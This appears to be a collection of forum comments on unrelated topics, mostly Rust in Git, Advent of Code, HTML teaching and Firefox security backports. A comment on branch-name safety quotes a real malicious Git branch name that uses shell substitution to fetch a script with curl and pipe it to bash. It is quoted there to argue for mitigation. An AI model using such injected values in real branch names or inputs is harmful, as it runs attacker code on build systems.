100-languagesrepository, reminding me of the headline I’d seen briefly on Lobsters.Ha, I guess I should have expected a lot of the language authors to be on Lobsters! I don’t recall if I saw your language linked on here or the orange site, but I had filed it away to try–and finally got to it :)
That’s how I saw his project too :) … https://github.com/refaktor/rye/discussions/461
And thanks for sharing :)
Somebody had some fun writing the image caption:
As the maintainer of a Git port for MacRelix (a Unix-ish environment for classic Mac OS), which is built by an ancient Metrowerks C/C++ compiler running in classic Mac OS, I’m not thrilled at the idea of adding what in this context is an unsatisfiable build requirement.
One of Git’s strengths is that it’s so widely portable, and I fear that a Rust dependency would exclude not only classic Mac OS, but possibly other platforms on which the Rust infrastructure either doesn’t exist or isn’t well-maintained.
I understand, but the needs of 99.99% of users getting a better, faster dev tool with more features delivered quicker outweigh yours. Besides, you can use the current version of Git for a long time as well.
I would highly encourage folks focus on getting Rust working on their platform, because we’re currently at the bottom of an S curve – the amount of Rust code running on a typical computer is going to start going up very quickly.
It’s unclear that Rust is the only (or even best) way of providing this, and the presumption of everybody about that fact is what a lot of people are (and have been, for like a decade) been reacting to.
It might be worth it to look at, for example, the existing codebase. As C codebases go, it’s quite readable. It also is rather battle-tested, and rewriting it in Rust–or even just adding extra Rusty bits–could well compromise that.
I get that C isn’t a particularly compelling language when compared to Rust (or even better fit-for-purpose languages like Zig). But, it does have a lot of existing users and maintainers, it is easy to bootstrap onto niche systems (the few that don’t already have it), and it is a hell of a lot easier for a Rustacean to get the basics of C than the reverse.
Logically speaking, I think you’ve got this somewhat reversed: it would seem that we’re unlikely to get up the S-curve unless people get working on their platform. While an honest error, this is the sort of thing that makes the Rust Evangelion Strike Force efforts as uncompelling today as when they were thick like flies with “Rewrite it in Rust!” years ago pretty much anytime anybody brought up any software project they had.
It hopefully won’t remain true forever, but in 2024 Rust is by far the best language to write new systems like Git in. If you were starting a new source control project today, it would be a mistake to use anything other than Rust.
The calculus for existing systems is more complicated, but the desire to write Rust isn’t coming out of nowhere. Rust has a multi year track record of delivering dev tools that are very fast and very high-quality, with great support on both Windows and Unix platforms.
I started writing Rust professionally in 2017, when that track record didn’t exist. But in the systems communities I was in which tended to be both experienced and forward-thinking, it was quickly becoming clear that Rust was going to become the dominant systems language within the next 10-15 years. These were long-time kernel and systems hackers who were getting quite fed up with C and C++. I was still relatively junior then, and I’m quite glad I paid attention to them!
No, Zig doesn’t have memory safety as a core property, and it is not as good a fit as Rust for writing systems where correctness is non-negotiable, like source control. (It is also significantly less mature than Rust.)
I have written and shipped a large body of source control code in both C and Rust.
The basics are not enough to write C correctly and to a modern standard (no memory safety issues, no UB, takes advantage of multi core processors). I don’t believe humans can write C to a modern standard 100% of the time even with a lifetime of training, while writing Rust to that standard can be done with a few months of sustained learning.
Speaking more personally, I have no real interest in ever writing or contributing to a C project again unless I’m getting paid to do so.
No, it is far more likely that platforms that don’t support Rust will simply stop getting new software.
I don’t see anybody pushing for Rust at the expense of other ways to improve Git ? Some people think Rust will help and are pushing for it, no absolutist view needed. Git is a pragmatic project and has always been multilingual, I’m sure if other languages or big changes get suggested, their pros and cons will get discussed as well.
So does Rust (SO, /DATA, GitHub PRs). It’s not the only language that could be used to improve Git, but it’s arguably the most popular one.
The problem is that you need much more than the basics of C to productively contribute to Git. It may have clean code, but it’s a complex project with huge QA requirements. I’ve onboarded trainees into projects in many languages, the level of proficiency required to not break a codebase is much higher in C than in Rust. If somebody is new to system programming, I’d rather teach them about the pain of borrow checking than the horrors of UB.
This story demonstrates otherwise: projects are considering the use of Rust despite the trouble it can cause for niche platforms. Git might eventually decide to cancel (or heavily postpone) the transition, but other projects will go ahead (many already have). For better or worse, niche platforms need Rust more than Rust needs niche platforms.
Is it unsatisfiable? Someone has at least got rust without the full std-lib working, and it sounds like they didn’t see any real roadblocks to having the whole thing work.
That’s for PowerPC Macs, not 68k. And realistically, you’re going to need std. Not to mention tracking Rust upstream, to say nothing of the whack-a-mole of crate dependencies you’ll need to patch…
Rust upstream has a m68k-unknown-linux-gnu target, getting a macos-classic target would be a fair amount of work, but it’s not unsatisfiable.
At some point, if you maintain an ancient platform, you have to decide whether you put in the work to bring modern software to it, or if you treat it as a museum piece. You can’t ask the rest of the world to stop evolving.
FWIW, perhaps using libgit2 might work out better for you. It’s written in C89 and seems mostly portable. I was deploying it in Visual Git, which was built with VC++6 and I was able to run it on NT 4 (with some work to make it go downlevel API wise).
While I have the opportunity to get your attention, is there a way to archive MacRelix’s current install loadout using something like httrack or rsync and then install it without access to the Internet?
I have a policy of only installing stuff on my retro-hobby machines that I’ve already pre-archived for longevity and reproducibility (plus, I’m not sure if your downloader knows how to see and use the copy of Privoxy they need to go through to see the ‘net as anything other than the intentionally invalid gateway address the DHCP tells them) and I’m looking for something that I can serve up to the Mac OS 9.2 machines on my LAN over HTTP or Netatalk-based AppleShare, similar to how
\\retro\Win9x\cygwin-1.5.25-15contains a full archive of cygwin-legacy served up over Samba-based SMB/CIFS.Link to the old UI:
https://old.reddit.com/r/rust/comments/1ha7uyi/memorysafe_png_decoders_now_vastly_outperform_c/
One possible mitigation is if branch names[1] with shell-unsafe characters (e.g. ‘
$’) were simply disallowed in the first place.[1] Like this one:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)I agree strongly, and am surprised that no one else is bringing the idea up — a deep problem here is that we tend to write code with a mental picture of the data that the code is manipulating, and that someone writing code that deals with a branch name is thinking of a string that vaguely slug-like: letters, numbers, some dashes. Maybe a colon or something if the project gets really crazy. But the underlying system refuses to undertake the reasonable step of actually locking down branch names to looking reasonable. I’m not sure what the thinking is. That GitHub should allow anything git allows? And presumably git was following an old tradition from Unix filenames, which can have all kinds of nonsense characters inside.
I am not sure which motivation for the system designer is stronger in cases of poor design like this: (a) the social fear that they will look dour and Puritan if they impose a rule like “branch names need to be letters numbers and dashes”, or (b) the technical fear that someone, someday, will actually desperately need to include a semicolon and double-quite in a branch name, but won’t be able to because GitHub disallowed it, and devastation will follow because someone made an overly strict rule and treated other developers like children.
I designed a file format for testing shell commands. It checks exit status (set by
?, or zero) and you can provide input and mandate output of individual file descriptors (as either single lines or multi-line here-documents).Some examples using a shell and my command-line chess logic tester:
Thanks to writing a test suite, I did in fact find bugs in my chess logic engine. :-)
From my understanding, Rhombus (a Racket language) uses a bicameral syntax: shrubbery notation. There’s a paper “Rhombus: A New Spin on Macros without All the Parentheses” that goes deeper into shrubbery representation, which is produced from the reader phase in place of S-expressions. In other words, shrubbery notation aims to be “an extremely useful intermediate data structure” that is ready for some following parsing pass that can also handle macros.
Correct, Shrubbery notation is designed to enable Rhombus to be bicameral.
Funny, I would have guessed that shrubbery notation was related to Python. ;-)
I’ll be using my own language, Varyx, again. Since 2019, the first year I completed AoC on its 25th day, I’ve yearned to finish at the top of a certain private leaderboard, and in 2022 I accomplished that. Now I’m ready to stop racing and let others compete for that distinction if they wish.
Last year, I got frustrated at the puzzle difficulty half-way through and gave up. I expect the same to happen this year, but it’s my intention to do so more gracefully this time, with the goal of maximizing my enjoyment of AoC.
Now this is a goal I can support!
Factor would be an interesting choice. I’ll probably try in Python, Factor and Forth (Retroforth).
I usually also decide I don’t have “enough time” after 3-5 days :). Interesting languages. Factor is where my username (and company name) comes from btw.
The thing about not having enough time is that once you miss a day, you have 4 tasks in one day, so you’re less motivated to do that potentially, and so on. I don’t think I’ve ever made it beyond day 10 for this reason.
There was one year where every 2nd day was referencing each other, but in other years you can easily skip single or multiple days… if you can get over the fact that there’s this gaping hole in your star count.. I know what you mean, and I prefer to go all in or not participate, but I still think you can kinda go casual and just do how much you feel like.
I remember being surprised when I learned you could skip a day. The interface may not make that (or may not have at the time… it’s been a while) obviously doable.
I loved Intcode! It was introduced in 2019 on day 2, and then extended or reused on day 5 and every odd-numbered day after that.
Yeah, I really enjoyed that year as well, seems like many others didn’t but it was really a lot of fun to tinker around with my intcode interpreter, I have written it in a couple of languages by now :)
I’ll be singing bass in the Washington Metropolitan Gamer Symphony Orchestra’s Fall 2024 season concert:
https://www.wmgso.org/event-details/wmgso-presents-fall-2024-full-ensemble-concert
I used GNU Lilypond to create synthetic vocal practice tracks for one of the Journey movements. There’s a bug in either
lilypondorfluidsynththat sometimes drops notes from multi-voice output, which I worked around by synthesizing each part (soprano, alto, tenor, bass) into separate WAV files, and usingffmpegto mix them together into a choir track. Then I made four more tracks by mixing each separate part track with the choir track again, yielding a choir track with one part boosted. Only at the end did I runlameto compress to MP3 format. I wrote a Makefile to do this automatically, though I was in a rush and probably missed some dependencies.(The bug is that if you have two voices (e.g. soprano and alto) using the same MIDI instrument (e.g. “choir aahs”) playing together in time and starting on the same note, the first pair of differing notes will lose the lower one.)
Normally I do a lot of programming, but recently I’ve been branching out — even within projects that are programming-centric.
Last weekend I participated in my first Ludum Dare game jam… as a voice actor!
This weekend I’ll design a second cursor for the ravynOS project, by writing a small script in Varyx (my language) using its experimental binding for Core Graphics. (Previously I did the standard arrow cursor, which required brushing up on trigonometry and a long-forgotten line-intersection formula, but this one is just 45-degree angles.) Technically I’ll be writing lines of code, but I’m really just defining some polygons.
All other programming will have to wait, though, as I have a week and a half to learn thirteen pieces of music for the upcoming NieR:Orchestra concert in which I’ll be singing.
voice acting sounds interesting, what was the game?
I actually don’t know the name. :-P But I play a frog who’s initially skeptical that a bipedal fish (the PC) would really eat fruitflies.
I assume it makes sense in context. :-)
That is indeed my first line. :-)
Update: It’s called “Ponding Experience”. :-D
https://daring-owl-studios.itch.io/ponding-experience-bugfix
The latest is https://daring-owl-studios.itch.io/ponding-experience-post-jam, which I’m told has bugfixes ongoing.
When I tried a few days ago, I couldn’t complete my own quest. :-(
I wonder why it recommends the
../notation as the default, rather than the widespread practice of just doing/css/simple.css. It certainly should warn that the absolute notation breaks down when people try to host a website in a subdirectory likehttps://example.com/~jrandomhacker, but the book uses Neocities, which provides third-level domains.I also wonder why the book chose to start from teaching people to write non-well-formed HTML at first. I believe teaching people the structure first is important.
But any manuals on making websites for beginner webmasters are certainly welcome.
It works when you load the file locally.
Ok, that’s a fair point — the book also recommends testing websites by opening them as folders.
I wonder if it should recommend that. There are single-file web servers like RedBean, and I believe people generally should test the website through a web server, as it will be deployed. Having to manually track the depth of every page and add appropriate numbers of
../seems like a perfect reason to rage-quit website building forever.Shameless plug: I added an option to relativize all links to my SSG, but that request came from people who wanted to host outputs of documentation generators in a subdirectory of their website and those documentation generators didn’t have an option to generate relative links or prepend a prefix, which just highlights how universal the web server root assumption is in practice…
Later on it introduces webservers: https://www.htmlforpeople.com/intermission-installing-a-local-web-server/
When showing html writing to kids 8+ I always start with invalid html. (Actually I start with a trivial example page with horrible typos - this triggers the desire to correct them). To get started publishing we do the least necessary and to see your effect is very motivating. Once the sophistication increases, we use tidy and progress to valid land.
IMO valid or invalid isn’t a thing in the beginning. You won’t correct a baby on every mispronounced word, either.
(I only glimpsed at it.) Writing invalid HTML is justifiable didactically, as you don’t need to explain a lot of boilerplate to get started. But I miss any reference to validation tools, later.
relative paths allow changing the subdirectory nesting. Including, as Leah said, viewing locally (from within a subdirectory).
Are you referring to the (initially) missing
<title>element, or something else?The fact that they backported the fix to not one but two old stable releases is kinda heart-warming in today’s cutthroat “run the latest version or die” environment.
That we have two concurrently supported versions of ESR is kinda normal for us.
115 is the last supported version known to work on Windows 7/8, so we have extended the support for a bit longer, while we hope that people will update their system and remember to install Firefox despite all of the nagging and Edge-related “refresh” offerings that Windows users seem to get these days.
That’s much appreciated freddyb. We’re stuck on 115 for a couple more weeks. Yes we will keep firefox after the upgrade.
What about 78? Is it vulnerable? Is there a way to disable animation timelines?
Firefox 78? Yes, that one is very vulnerable. Vulnerable to this attack and all the ones we have seen in the dozens of versions we have released since then.
What about with NoScript active and WEBP images disabled? I’m trying to get information more detailed than “it’s bad”.
At this point, I believe your question is better directed at the #security matrix channel (#security:mozilla.org). But the TLDR is: Every modern exploit requires JavaScript. Whether you will be able to properly protect yourself by disabling JavaScript (or only enabling them on trusted websites) comes with a lot of follow-up questions about habit, targeting & threat models.
I disagree with a lot of what Stroustrup says, but I do like one comment from him (paraphrasing from memory):
Any useful technology is going to have to make a load of compromises to be useful. I consider it a good rule of thumb that, if you couldn’t sit down and write a few thousand words about all of the things you hate about a technology, you probably don’t understand it well enough to recommend it.
I’ve come to dislike that comment, and would put it in the same category as “everything is a tradeoff”. It’s a thought-terminating cliche that’s used to fend off criticism and avoid introspection.
There are such a thing as bad engineering decisions. Not everything was made with perfect information, implemented flawlessly to spec, with optimal allocation of resources. In fact many decisions are made on the bases of all kinds of biases, including personal preferences, limited knowledge, unclear goals, a bunch of gut feeling, etc.
And even a technology with good engineering decisions can turn a lot worse over time, e.g. when fundamental assumptions change.
I agree with you, but I’d like to defend the phrase “everything is a tradeoff” please!
To me, the natural corollary is that you should decide which set of tradeoffs are best for you.
All of the things you said are true but you can avoid a lot of pitfalls by being aware of what you are optimising for, what you are giving up, and why that might be appropriate in a given situation.
You said it already
That is better than “everything is a tradeoff” and makes the pithy statement less pithy and more actionable.
(neo)Confucianism teaches that solutions don’t exist, rather just sets of trade offs. E.g. you can choose to have your current problem, or the problem which will occur if “solve” it.
What’s your background with Confucianism? I would say it’s fairly optimistic about human perfectibility. It’s maybe not utopian, but a sage king can rightly order the empire with the Mandate of Heaven at least. Or do you mean more contemporary Confucian inspired thought not classical (c300BCE) or neo (c1000CE)?
Neoconfucianism (in Chinese, study of “li”) synthesized it with Daoism and Buddhism (the 3 teachings). Wu wei is an important aspect of that li (logos, natural law) channeling the Zhuangzi’s pessimism. Yangmingzi riffs on this, believing in random action (experimenting?) but not consciously planning/acting towards plans. You’re to understand the trade offs etc. and map the different ways destiny may flow, but not act on them. Original Confucianism had a more limited focus (family first) which Zhang Zai extended, by treating everything as a bigger family, allowing Confucian approaches to apply to other domains.
One 4 character parable/idiom (which means “blessing in disguise”) has:
Wing-tsit Chan and Lin Yutang made great translations and discussions on the history of ideas in Chinese thought. Though I may read Chen Chun, it’s really through their lenses as my Chinese isn’t yet up to snuff.
Okay. I wasn’t sure if by “neo” you meant like Daniel Bell’s New Confucianism.
I would say Wang Yangming is pretty optimistic about solutions. He’s against theoretical contemplation, but for the unity of knowledge and conduct, so ISTM the idea is you solve problems by acting intuitively. I’m sure if pressed he would acknowledge there are some tradeoffs, but I don’t see him as having a very pessimistic view or emphasizing the tradeoffs versus emphasizing perfecting your knowledge-conduct.
Thank you, I dug into this a bit deeper. I believe you are right and I have been misunderstanding some aspect of will./intention, which I struggle to articulate. Laozi and everything later building on it do seem to focus on (attempts to) control backfiring. I’m not sure if my pick-tradeoffs-lens is a productive innovation or missing the point. (How broadly/narrowly should we apply things?)
I’m also tired of hearing “everything is a trade-off” for that reason. I definitely like the phrase “thought-terminating cliche”.
It’s also not true. “Everything is a trade-off” implies that everything is already Pareto-optimal, which is crazy. Lots of things are worse than they could be without making any compromises. It even feels arrogant to say that anything is any kind of “optimal”.
That was exactly my point, thanks for nailing it concisely.
that pareto-optimality explanation site is fantastic
Of course, I think people mostly mean that there are bad approaches, but no perfect ones. (Or, more mathematically, the “better than” relation is often partial.)
Both sides phrases are inportant and meaningful, yes people can overuse them, and people can also fail to understand that “changing this behavior to be ‘sensible’” also is a trade off as changing behaviour can break existing stuff.
We can look at all sorts of things where the “trade off” being made is not obvious:
lack of safety in C/C++: yay performance! Downside: global performance cost due to myriad mitigations in software (aslr, hardened allocators, …) and hardware (pointer auth, mte, cheri, …) cost performance (power and speed) for everything
myriad weird bits of JS - mean lots of edge cases in the language, though in practice the more absurd cases aren’t hit and basic changes to style choices mitigate most of the remainder, so the cost of removing the behavior is unbounded and leaving it there has little practical cost
removing “print” statements from Python 3: made the language more “consistent” but imo was one of the largest contributors to just how long the 2->3 migration took, but was also entirely unnecessary from a practical point of view as a print statement is in practice distinguishable from a call
At the end of the day you might disagree with my framing/opinion of the trade offs being made, but they’re still trade offs, because trade offs are a fundamental part of every design decision you can ever make.
There’s nothing thought terminating about “everything is a trade off”, claiming that it is is itself thought terminating: it implies a belief that the decisions being made are not a trade off and that a decision is either right or wrong. That mentality leads to inflexibility, and arguably incorrect choices because it results in a design choices that don’t consider the trade offs being made.
But what about the time when the decisions were actually made? What technical, calculated trade-offs did JS make when implementing its numerous inconsistencies, that are collectively seen as design failures?
I definitely think some decisions can be right or wrong.
The key tradeoff made in the development of JavaScript was to spend only a week and a half on it, sacrificing coherent design and conceptual integrity in exchange for a time-to-market advantage.
This isn’t really true. The initial prototype was made in 10 days but there were a lot of breaking changes up to Javascript 1.0 which was released a year later. Still a fairly short time frame for a new language but not exactly ten days.
I often wonder what development would be like now if Brendan Eich had said “no, I can’t complete it in that time, just embed Python”.
I don’t think Python even had booleans at that point. IMHO the contemporary embedding language would have been Tcl, of all things!
The starting point was Scheme, so that would probably have been the default choice if not implementing something custom.
At least there the weird quirks would’ve (hopefully) gotten fixed as bugs, because it has an actual language spec. OTOH, it might also have begotten generations of Scheme-haters and parenthophobes, or Microsoft’s Visual Basicscript would’ve taken off and we’d all be using that instead. Not sure what’s worse…
When was Microsoft adding VBScript to IE?
I’m not sure there’s an actual trade-off there. Don’t you think it’s possible to come up with a more coherent design in that timeframe?
Unlikely given the specific constraints Eich was operating under at the time.
Some behaviors are not the result of “decisions”, they’re just happenstance of someone writing code at the time without considering the trade offs because at the time they did not recognize that they were making a decision that had trade offs.
You’re saying there are numerous inconsistencies that were implemented, but that assumes that the inconsistencies were implemented, rather than an unexpected interaction of reasonable behaviors, without knowing the exact examples you’re thinking of I can’t speak to anything.
With the benefit of hindsight, or with a different view of the trade offs. Do you have examples of things where the decision was objectively wrong and not just a result of the weight of trade offs changing over time, such that the trade offs made in the past would not be made now?
A good example that happens all the time in the small is doing redundant work, mostly because you’re not aware it’s happening. Cloning data structures too often, verifying invariants multiple times, etc. I’ve seen a lot of cases where redundancies could be avoided with zero downside, if the author had paid more attention.
This makes me think how beautiful it is that crypto developers have managed to make NFT’s into not only something everyone hates but something nobody uses, at the same time
The quote you refer to is: “There are only two kinds of programming languages: those people always bitch about and those nobody uses.”
Another good one is “For new features, people insist on LOUD explicit syntax. For established features, people want terse notation.”
I’ve never heard this one before! It’s really good.
Here’s the primary source on that one: https://www.thefeedbackloop.xyz/stroustrups-rule-and-layering-over-time/
Looks like there’s some sort of error though. I’m on my phone so I’m not getting great diagnostics hah.
As a core element of good critical thinking, one should hypothetically be able to write such a criticism about anything they are a fan of. In fact, I encourage everyone to try this out as often as possible and push through the discomfort.
Notice I used the dreaded word “fan” there- which is the point of this comment: There should be a key distinction between someone who is a “fan” of a technology based on a critical evaluation of its pros and cons and someone who is a “fan” of a technology based on a relatively rosy assessment of its pros and a relatively blind assessment of its cons.
I think the OP blogger is really complaining about the latter. And, all other things being equal, I believe a developer using a technology chosen via critical assessment by a fan will always lead to superior work relative to a technology chosen via critical assessment by a non-fan. The fan, for example, will be motivated to know and understand things like the niche micro-optimizations to use that don’t make the code less readable (I’m thinking of, for example, the “for” construct in Elixir), and will likely use designs that align closer to the semantics of that particular language’s design than to languages in general.
One of the reasons I left Ruby and went to Elixir is that the “list of valid and impactful criticisms” I could come up with was simply shorter (and significantly so) with Elixir. (Perhaps I should blogpost a critical assessment of both.) And yes, I went from being a “fan” of Ruby to a “fan” of Elixir, but I can also rattle Elixir’s faults off the top of my head (slowish math, can’t compile to static binary, complex deployment, depends on BEAM VM/Erlang, still a bit “niche”, functional semantics more difficult to adopt for new developers, wonky language server in VSCode, no typing (although that’s about to change somewhat), not as easy to introspect language features as Ruby, etc.)
The other point I’d like to make is that even though “everything is a compromise,” there are certainly locally-optimal maxima with the more correct level of abstraction and the more correct design decisions. Otherwise we should all just code in Brainfuck because of its simple instruction set or in assembly because of its speed.
I think the distinction would be that I wouldn’t really call you a “fan” of Ruby or Elixir if you’re making these considered decisions, weighing the trade-offs, and considering whether they’re appropriate more-or-less dispassionately. You can certainly like languages, but I think if you call someone a “fan” of something, there’s an implication of a sort of blind loyalty. By analogy to sports fans, where a fan always supports their team, no matter who they’re up against, a fan of a particular technology is someone who always supports their particular technology, rails against those who criticize it, and hurls vitriol against “opponents” of their tool of choice.
Alright. Interesting distinction/clarification that gave me an idea.
So, in thinking of my Apple “fandom” that has been pretty consistent since I was 12 in 1984 when my family was simultaneously the last one in the neighborhood to get a family computer and the first ones to get a Mac (128k) and I was absolutely fucking enthralled in a way I cannot describe… which persisted through the near-death of 1997 and beyond into the iPod and iPhone era…
I think it has to do with “love”, frankly. If you “love” something, you see it through thick and thin, you stick around through difficulties, and you often (in particular if you contribute directly to the good quality of the thing, or the quality of its use, or its “evangelism”, or its community) literally believe the thing into a better version of itself over time.
The “likers”, in essence, value things based on the past and current objective value while the “lovers” (the fans) value things based on the perceived intrinsic and future value.
And the latter is quite irrational and thus indefensible and yet is the fundamental instrument of value creation.
But can also lead to failure. As we all know. The things the “likers” use are less risky.
Does this distinction make sense?
One factor is that many software development projects are much closer to bike sheds than to skyscrapers. If someone is a fan of, say, geodesic domes (as in, believes that their current and/or future value is underrated), there is no reason not to try that in constructing a bike shed — it’s unlikely that whatever the builder is a fan of will completely fail to work for the intended purpose. The best outcome is that the technology will be proved viable or they will find ways to improve it.
If people set out to build a skyscraper from the start, then sure, they must carefully evaluate everything and reject unacceptable tradeoffs.
When people build a social network for students of a single college using a bikeshed-level technology stack because that’s what allowed them to build it quickly on zero budget and then start scaling it to millions users, it’s not the same problem as “started building a skyscraper from plywood”.
OTOH, no sane architect or engineer would expand a bikeshed into a skyscraper by continuing with the same materials and techniques. They’d probably trash the bikeshed and start pouring a foundation, for starters…
Exactly. When managers or VCs demand that a bikeshed is to be expanded into a skyscraper using the same materials, it’s not an engineering problem. Well, when engineers choose to do that, it definitely is. But a lot of the time, that’s not what happens.
Thank you! The “critical thinking” aspect is I think muddied by the article by setting up an ingroup/outgroup dichotomy with engineers on one side and fans on the other.
It’s normal to be a fan of something while also being fully aware of its trade-offs. Plus, sometimes an organization’s inertia needs the extra energetic push of advocacy (e.g. from a fanatic) to transition from a “good enough / nobody got fired for buying IBM” mentality into a better local optimum.
The mindset of “everything is a trade-off” is true but can also turn into a crutch and you end up avoiding thinking critically because oh well it’s just some trade-offs I can’t be bothered to fully understand.
“Engineers” and “fans” don’t look at the same trade-offs with different-colored glasses, they actually see different sets of trade-offs.
I would add: you should also be able to defend the options you didn’t choose. If someone can give a big list of reasons why Go is better than Rust, yet they still recommend Rust for this project, I’m a lot more likely to trust them.
This is true. I remember people hating Java, C++ and XML. Today I more often meet people hating Python, Rust and YAML. Sometimes it is the same people. Older technologies are well established and the hatred has run out. People have got used to it and take it for what it is. Hyped technologies raise false hopes and unrealistic expectations, which then lead to disappointment and hate.